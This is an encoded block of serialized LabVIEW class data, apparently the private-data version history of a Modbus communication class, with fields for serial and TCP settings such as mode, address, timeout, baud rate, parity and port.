5&amp;2)-!!!!!!!!!!!!!B1A!)!!!!!!!!!!!!!!!!"!!!!!!!%!1!!!!=!+%"Q!!Y&amp;37ZT&gt;()!!"5!A!!!!!!"!!1!!!!"!!!!!!!!"&amp;:*5U%!!"&gt;!&amp;A!#!V*5616"5U.*31!%47^E:1!!$5!'!!:198*J&gt;(E!!".!"A!-2GRP&gt;S"$&lt;WZU=G^M!!!.1!=!"V2J&lt;76P&gt;81!$U!(!!F#986E)&amp;*B&gt;'5!6A$RV'-16A!!!!)/45^%1F64,GRW9WRB=X-+45^%1F64,G.U&lt;!!U1&amp;!!"A!!!!%!!A!$!!1!"2V$&lt;(6T&gt;'6S)'^G)'.M98.T)("S;8:B&gt;'5A:'&amp;U91!"!!9!!!!'!!!!!!!!!!%!!!!#!!!!!Q!!!!1!!!!&amp;!!!!!!!!!!!!!!!!*R!!!#7!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!#&amp;#!!A!!!!!!!!!!!!!!!!%!!!!!!!5"!!!!"Q!I1(!!$A6*&lt;H.U=A!!&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%6EF411!!&amp;U!7!!)$5F26"5&amp;41UF*!!2.&lt;W2F!!!.1!9!"F"B=GFU?1!!%U!'!!R'&lt;'^X)%.P&lt;H2S&lt;WQ!!!V!"Q!(6'FN:7^V&gt;!!01!=!#5*B&gt;71A5G&amp;U:1"7!0(59RV%!!!!!AZ.4U2#66-O&lt;(:D&lt;'&amp;T=QJ.4U2#66-O9X2M!$2!5!!'!!!!!1!#!!-!"!!&amp;(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!"A!!!!9!!!!!!!!!!1!!!!)!!!!$!!!!"!!!!!5!!!!!!!!!!!!!!!!$[!!!*9!!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!)5)!#!!!!!!!!!!!!!!!!!1!!!!!!"A%!!!!&amp;!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!!"5!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!"&gt;!&amp;A!#!V*5616"5U.*31!%47^E:1!!$5!&amp;!!&gt;B:'2S:8.T!&amp;!!]&gt;I^('=!!!!#$EV02%*65SZM&gt;G.M98.T#EV02%*65SZD&gt;'Q!,E"1!!-!!1!#!!-&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!%!!!!!Q!!!!!!!!!"`````Q!!!!!!!!%!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!6!)!!!!!!!!!!!!!!!!!!!1!!!!!!"Q%!!!!&amp;!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!!"5!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!"&gt;!&amp;A!#!V*5616"5U.*31!%&lt;7^E:1!!$5!'!!&gt;B:'2S:8.T!&amp;!!]&gt;I^(0-!!!!#$EV02%*65SZM&gt;G.M98.T#EV02%*65SZD&gt;'Q!,E"1!!-!!1!#!!-&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!%!!!!!Q!!!!!!!!!"!!!!!A!!!!!!!!!"!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!A"!!!!"1!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!!6!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81"9!!A.36&amp;5&amp;16.$35E!"'VP:'5!!!V!"1!(972E=G6T=Q"1!0(;02TW!!!!!AZ.4U2#66-O&lt;(:D&lt;'&amp;T=QJ.4U2#66-O9X2M!#Z!5!!$!!%!!A!$(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!"!!!!!-!!!!!!!!!!1!!!!)!!!!!!!!"!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!E"!!!!"A!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!!6!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81"9!!A.36&amp;5&amp;16.$35E!"'VP:'5!!!V!"A!(972E=G6T=Q!01!=!#7*B&gt;71A=G&amp;U:1"3!0(;02Z4!!!!!AZ.4U2#66-O&lt;(:D&lt;'&amp;T=QJ.4U2#66-O9X2M!$"!5!!%!!%!!A!$!!1&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!&amp;!!!!"!!!!!!!!!!"!!!!!P````]!!!!!!!!!!1!!*9!!!!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!"5!A!!!!!!!!!!!!!!!!!!"!!!!!!!+!1!!!!9!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!!&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26"5&amp;41UF*!!2N&lt;W2F!!!.1!5!"W&amp;E:(*F=X-!$U!(!!FC986E)(*B&gt;'5!5A$RWDU?6A!!!!)/45^%1F64,GRW9WRB=X-+45^%1F64,G.U&lt;!!Q1&amp;!!"!!"!!)!!Q!%(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!"1!!!!1!!!!!!!!!!1!!!!)!!!!$!!!!!!!!!1!!*9!!!!!!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!6!)!!!!!!!!!!!!!!!!!!!1!!!!!!#Q%!!!!(!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!!"5!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!"&gt;!&amp;A!#!V*5616"5U.*31!%&lt;7^E:1!!$5!&amp;!!&gt;B:'2S:8.T!!^!"Q!*9G&amp;V:#"S982F!!V!"Q!(&gt;'FN:7^V&gt;!"5!0(;1D*D!!!!!AZ.4U2#66-O&lt;(:D&lt;'&amp;T=QJ.4U2#66-O9X2M!$*!5!!&amp;!!%!!A!$!!1!"2V$&lt;(6T&gt;'6S)'^G)'.M98.T)("S;8:B&gt;'5A:'&amp;U91!"!!9!!!!&amp;!!!!!!!!!!%!!!!#!!!!!`````]!!!!!!!!"!!!FA!!!!3Q!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!6!)!!!!!!!!!!!!!!!!!!!1!!!!!!!!)!!!!(!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!!"5!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!"&gt;!&amp;A!#!V*5616"5U.*31!%&lt;7^E:1!!$5!&amp;!!&gt;B:'2S:8.T!!^!"Q!*9G&amp;V:#"S982F!!V!"Q!(&gt;'FN:7^V&gt;!"5!0(;1D*D!!!!!AZ.4U2#66-O&lt;(:D&lt;'&amp;T=QJ.4U2#66-O9X2M!$*!5!!&amp;!!%!!A!$!!1!"2V$&lt;(6T&gt;'6S)'^G)'.M98.T)("S;8:B&gt;'5A:'&amp;U91!"!!9!!!!"`````A!!!!!!!!%!!#7!!!!",!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!"5!A!!!!!!!!!!!!!!!!!!"!!!!!!!!!Q!!!!=!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!!&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26"5&amp;41UF*!!2N&lt;W2F!!!.1!5!"W&amp;E:(*F=X-!$U!(!!FC986E)(*B&gt;'5!$5!(!!&gt;U;7VF&lt;X6U!&amp;1!]&gt;J#-G-!!!!#$EV02%*65SZM&gt;G.M98.T#EV02%*65SZD&gt;'Q!-E"1!!5!!1!#!!-!"!!&amp;(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!"A!!!!(````_!!!!!!!!!1!!*9!!!!%M!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!%$!!!!#1!:1"9!!A:T:8*J97Q$6%.1!!!%&lt;7^E:1!!$5!&amp;!!&gt;B:'2S:8.T!!V!"Q!(&gt;'FN:7^V&gt;!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!-6!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!11&amp;!!!1!%"H.F=GFB&lt;!!!%E"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!$%"1!!%!"A.51V!!6!$RX0&amp;&amp;"!!!!!)/47^E9H6T,GRW9WRB=X-+47^E9H6T,G.U&lt;!!S1&amp;!!"1!!!!%!!A!&amp;!!=&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!)!!!!"@````]!!!!#!!!!"0``````````!!!"!!!",!!!!!!!!!!!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!)$!!!!#A!:1"9!!A:T:8*J97Q$6%.1!!!%&lt;7^E:1!!$5!&amp;!!&gt;B:'2S:8.T!!V!"Q!(&gt;'FN:7^V&gt;!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!-6!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81"9!!A.36&amp;5&amp;16.$35E!"'VP:'5!!"*!5!!#!!1!"1:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!!R!5!!"!!=$6%.1!&amp;1!]&gt;TR2IU!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!-E"1!!5!!!!"!!)!"A!)(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!#1!!!!A!!!!!!!!!!1!!!!)!!!!$!!!!"0````]!!!!&amp;!!!!"A!!!1!!!3Q!!!!!!!!!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!-$!!!!#Q!:1"9!!A:T:8*J97Q$6%.1!!!%&lt;7^E:1!!$5!&amp;!!&gt;B:'2S:8.T!!V!"Q!(&gt;'FN:7^V&gt;!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!-6!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81"9!!A.36&amp;5&amp;16.$35E!"'VP:'5!!!^!"Q!*9G&amp;V:#"S982F!"2!5!!$!!1!"1!'"H.F=GFB&lt;!!!%E"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!$%"1!!%!#!.51V!!6!$RX0&amp;(PQ!!!!)/47^E9H6T,GRW9WRB=X-+47^E9H6T,G.U&lt;!!S1&amp;!!"1!!!!%!!A!(!!E&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!+!!!!#1!!!!!!!!!"!!!!!A!!!!-!!!!%!!!!"@````]!!!!'!!!!"Q!!!1!!!3Q!!!!!!!!!!#7!!!!!!!!!!!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!"5!A!!!!!!!!!!!!!!!!!!"!!!!!!!%!Q!!!!M!'5!7!!)'=W6S;7&amp;M!V2$5!!!"'VP:'5!!!V!"1!(972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!$&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26"5&amp;41UF*!!2N&lt;W2F!!!01!=!#7*B&gt;71A=G&amp;U:1!51&amp;!!!Q!%!!5!"A:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!!R!5!!"!!A$6%.1!&amp;1!]&gt;TS+;E!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!-E"1!!5!!!!"!!)!"Q!*(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!#A!!!!H`````!!!!!1!!!!)!!!!$!!!!"0````]!!!!'!!!!"Q!!!!A!!!%!!!%M!!!!!!!!!!!FA!!!!!!!!!!!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!6!)!!!!!!!!!!!!!!!!!!!1!!!!!!"1-!!!!-!"F!&amp;A!#"H.F=GFB&lt;!.51V!!!!2N&lt;W2F!!!.1!5!"W&amp;E:(*F=X-!$5!(!!&gt;U;7VF&lt;X6U!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!!R5!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!"&gt;!&amp;A!#!V*5616"5U.*31!%&lt;7^E:1!!$U!(!!FC986E)(*B&gt;'5!&amp;%"1!!-!"!!&amp;!!9'=W6S;7&amp;M!!!31(!!"1JD&lt;WZO:7.U;7^O!!!61!9!$H2S97ZT97.U;7^O)'FE!!!/1&amp;!!!A!)!!E$6%.1!&amp;1!]&gt;TS/&amp;)!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!-E"1!!5!!!!"!!)!"Q!+(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!#Q!!!!I!!!!!!!!!!1!!!!)!!!!$!!!!"!!!!!5!!!!'!!!!"Q!!!!D`````!!!"!!!",!!!!!!!!!!!*9!!!!!!!!!!!!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!"5!A!!!!!!!!!!!!!!!!!!"!!!!!!!'!Q!!!!Y!'5!7!!)'=W6S;7&amp;M!V2$5!!!"'VP:'5!!!V!"1!(972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!$&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26"5&amp;41UF*!!2N&lt;W2F!!!01!=!#7*B&gt;71A=G&amp;U:1!41!9!$8"B=GFU?3!I&lt;G^O:3E!'5!'!".G&lt;'^X)'.P&lt;H2S&lt;WQA+'ZP&lt;G5J!"B!5!!&amp;!!1!"1!'!!=!#!:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!"6!"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!!Z!5!!#!!I!#Q.51V!!6!$RX8T#DA!!!!)/47^E9H6T,GRW9WRB=X-+47^E9H6T,G.U&lt;!!S1&amp;!!"1!!!!%!!A!*!!Q&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!.!!!!$!!!!!!!!!!"!!!!!A!!!!-!!!!%!!!!"1!!!!&lt;``````````Q!!!!=!!!!)!!!!#1!!!1!!!3Q!!!!!!!!!!#7!!!!!!!!!!!!!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!=$!!!!%!!:1"9!!A:T:8*J97Q$6%.1!!!%&lt;7^E:1!!$5!&amp;!!&gt;B:'2S:8.T!!V!"Q!(&gt;'FN:7^V&gt;!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!-6!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81"9!!A.36&amp;5&amp;16.$35E!"'VP:'5!!!^!"Q!*9G&amp;V:#"S982F!!V!"A!'='&amp;S;82Z!!!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!'%"1!!5!"!!&amp;!!9!"Q!)"H.F=GFB&lt;!!!%E"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!%%!Q`````Q&gt;B:'2S:8.T!"&amp;!"A!+='^S&gt;#!I.4!S+1!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C"J:!!!%E"1!!1!#A!,!!Q!$1.51V!!6!$RX8T&amp;;1!!!!)/47^E9H6T,GRW9WRB=X-+47^E9H6T,G.U&lt;!!S1&amp;!!"1!!!!%!!A!*!!Y&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!0!!!!$A!!!!!!!!!"!!!!!A!!!!-!!!!%!!!!"1!!!!9!!!!(!!!!#!!!!!E!!!!+``````````]!!!!,!!!"!!!",!!!!!!!!!!!*9!!!!!!!!!!!!!!!!!"^A!!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!A$!!!!%!!&gt;1"9!!Q:T:8*J97Q$6%.1"'V%4F-!"'VP:'5!!!V!"1!(972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!$&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26"5&amp;41UF*!!2N&lt;W2F!!!01!=!#7*B&gt;71A=G&amp;U:1!.1!9!"H"B=GFU?1!!%U!'!!RG&lt;'^X)'.P&lt;H2S&lt;WQ!!"B!5!!&amp;!!1!"1!'!!=!#!:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!""!-0````](972E=G6T=Q!21!9!#H"P=H1A+$5Q-CE!!"6!"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!"*!5!!%!!I!#Q!-!!U$6%.1!&amp;1!]&gt;W3T2%!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!-E"1!!5!!!!"!!)!#1!/(5.M&gt;8.U:8)A&lt;W9A9WRB=X-A=(*J&gt;G&amp;U:3"E982B!!%!$Q!!!!Y!!!!!!!!!!1!!!!)!!!!$!!!!"!!!!!5!!!!'!!!!"Q!!!!A!!!!*!!!!#A!!!!M!!!!-!!!!$1!!!1!!!3Q!!!!!!!!!!#7!!!!!!!!!!!!!!!!!!@9!!!!!!!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!"5!A!!!!!!!!!!!!!!!!!!"!!!!!!!*!Q!!!"!!(5!7!!)'=W6S;7&amp;M!V2$5!!!#7FO&gt;'6S:G&amp;D:1!.1!5!"W&amp;E:(*F=X-!$5!(!!&gt;U;7VF&lt;X6U!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!!R5!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!"&gt;!&amp;A!#!V*5616"5U.*31!%&lt;7^E:1!!$U!(!!FC986E)(*B&gt;'5!$5!'!!:Q98*J&gt;(E!!".!"A!-:GRP&gt;S"D&lt;WZU=G^M!!!91&amp;!!"1!%!!5!"A!(!!A'=W6S;7&amp;M!!!31(!!"1JD&lt;WZO:7.U;7^O!!!C1$$`````''&amp;E:(*F=X-P=W6S&gt;GFD:3"J&lt;H.U97ZD:1!!%5!'!!JQ&lt;X*U)#AV-$)J!!!61!9!$H2S97ZT97.U;7^O)'FE!!!31&amp;!!"!!+!!M!$!!.!V2$5!"5!0(&gt;EM[[!!!!!AZ.&lt;W2C&gt;8-O&lt;(:D&lt;'&amp;T=QJ.&lt;W2C&gt;8-O9X2M!$*!5!!&amp;!!!!!1!#!!E!$BV$&lt;(6T&gt;'6S)'^G)'.M98.T)("S;8:B&gt;'5A:'&amp;U91!"!!]!!!!/!!!!!!!!!!%!!!!#!!!!!Q!!!!1!!!!&amp;!!!!"A!!!!=!!!!)!!!!#1!!!!I!!!!,!!!!$!!!!!U!!!%!!!%M!!!!!!!!!!!FA!!!!!!!!!!!!!!!!!(W!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!I$!!!!%A!&gt;1"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!"1!(972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!$&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!&amp;U!7!!)$5F26"5&amp;41UF*!!2N&lt;W2F!!!01!=!#7*B&gt;71A=G&amp;U:1!01!9!#72B&gt;'%A9GFU=Q!.1!9!"H"B=GFU?1!!$U!'!!FT&gt;'^Q)'*J&gt;(-!%U!'!!RG&lt;'^X)'.P&lt;H2S&lt;WQ!!"R!5!!(!!1!"1!'!!=!#!!*!!I'=W6S;7&amp;M!!!31(!!"1JD&lt;WZO:7.U;7^O!!!C1$$`````''&amp;E:(*F=X-P=W6S&gt;GFD:3"J&lt;H.U97ZD:1!!%5!'!!JQ&lt;X*U)#AV-$)J!!!61!9!$H2S97ZT97.U;7^O)'FE!!!31&amp;!!"!!-!!U!$A!0!V2$5!"5!0(&gt;V/)#!!!!!AZ.&lt;W2C&gt;8-O&lt;(:D&lt;'&amp;T=QJ.&lt;W2C&gt;8-O9X2M!$*!5!!&amp;!!!!!1!#!!M!%"V$&lt;(6T&gt;'6S)'^G)'.M98.T)("S;8:B&gt;'5A:'&amp;U91!"!"%!!!!1!!!!!!!!!!%!!!!#!!!!!Q!!!!1!!!!&amp;!!!!"P````]!!!!(`````Q!!!!A!!!!*!!!!#A!!!!M!!!!-!!!!$1!!!1!!!3Q!!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!6!)!!!!!!!!!!!!!!!!!!!1!!!!!!#Q-!!!!4!"V!&amp;A!#"H.F=GFB&lt;!.51V!!!!FJ&lt;H2F=G:B9W5!$5!&amp;!!&gt;B:'2S:8.T!!V!"Q!(&gt;'FN:7^V&gt;!!/1#%*9W^O&lt;G6D&gt;'6E!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!""5!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!"&gt;!&amp;A!#!V*5616"5U.*31!%&lt;7^E:1!!$U!(!!FC986E)(*B&gt;'5!$U!'!!FE982B)'*J&gt;(-!$5!'!!:Q98*J&gt;(E!!!^!"A!*=X2P=#"C;82T!".!"A!-:GRP&gt;S"D&lt;WZU=G^M!!!=1&amp;!!"Q!&amp;!!9!"Q!)!!E!#A!,"H.F=GFB&lt;!!!%E"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!%%!Q`````Q&gt;B:'2S:8.T!!N!"A!%='^S&gt;!!!&amp;5!'!!ZU=G&amp;O=W&amp;D&gt;'FP&lt;C"J:!!!%E"1!!1!$1!/!!]!%!.51V!!6A$RXCG(PA!!!!)/47^E9H6T,GRW9WRB=X-+47^E9H6T,G.U&lt;!!U1&amp;!!"A!!!!%!!A!$!!Q!%2V$&lt;(6T&gt;'6S)'^G)'.M98.T)("S;8:B&gt;'5A:'&amp;U91!"!")!!!!2!!!!!!!!!!%!!!!#`````Q!!!!-!!!!%!!!!"1!!!!9!!!!(!!!!#!!!!!E!!!!+!!!!#Q!!!!Q!!!!.!!!!$A!!!!]!!!%!!!%M!!!!!!!!!!!"QA!!#!!#!!I!!!!!!!!!!!!!!@9!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!!%!!!!%Q!&gt;1"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!"1!(972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!16!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81"9!!A.36&amp;5&amp;16.$35E!"'VP:'5!!!^!"Q!*9G&amp;V:#"S982F!!^!"A!*:'&amp;U93"C;82T!!V!"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!(%"1!!=!"1!'!!=!#!!*!!I!#Q:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!""!-0````](972E=G6T=Q!,1!9!"("P=H1!!"6!"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!"*!5!!%!!U!$A!0!"!$6%.1!&amp;9!]&gt;YJB\Y!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!.%"1!!9!!!!"!!)!!Q!-!"%&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!3!!!!!@````Y!!!%!!!%M!!!!!!!!!!!"QA!!#!!#!!I!!!!!!!!!!!!!!@9!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!!&amp;!!!!%Q!&gt;1"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!"1!(972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!16!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81"9!!A.36&amp;5&amp;16.$35E!"'VP:'5!!!^!"Q!*9G&amp;V:#"S982F!!^!"A!*:'&amp;U93"C;82T!!V!"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!(%"1!!=!"1!'!!=!#!!*!!I!#Q:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!""!-0````](972E=G6T=Q!,1!9!"("P=H1!!"6!"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!"*!5!!%!!U!$A!0!"!$6%.1!&amp;9!]&gt;YJB\Y!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!.%"1!!9!!!!"!!)!!Q!-!"%&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!3!!!!!@````Y!!!%!!!%M!!!!!!!!!!!"QA!!#!!#!!I!!!!!!!!!!!!!!@9!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#!!!!!!!!!!!!!!!!!!!%!!!!!!!!!!!!!%Q!&gt;1"9!!A:T:8*J97Q$6%.1!!!*;7ZU:8*G97.F!!V!"1!(972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!16!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!81"9!!A.36&amp;5&amp;16.$35E!"'VP:'5!!!^!"Q!*9G&amp;V:#"S982F!!^!"A!*:'&amp;U93"C;82T!!V!"A!'='&amp;S;82Z!!!01!9!#8.U&lt;X!A9GFU=Q!41!9!$':M&lt;X=A9W^O&gt;(*P&lt;!!!(%"1!!=!"1!'!!=!#!!*!!I!#Q:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!""!-0````](972E=G6T=Q!,1!9!"("P=H1!!"6!"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!"*!5!!%!!U!$A!0!"!$6%.1!&amp;9!]&gt;YJB\Y!!!!#$EVP:'*V=SZM&gt;G.M98.T#EVP:'*V=SZD&gt;'Q!.%"1!!9!!!!"!!)!!Q!-!"%&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!3!!!!!@````Y!!!%!!!%M!!!!!!!!!!!"QA!!#!!#!!I!!!!!!!!!!!!!!@9!!!!!!!!!!1Z-97*73568)%^C;G6D&gt;!"16%AQ!!!!!!!!!!!!&amp;1#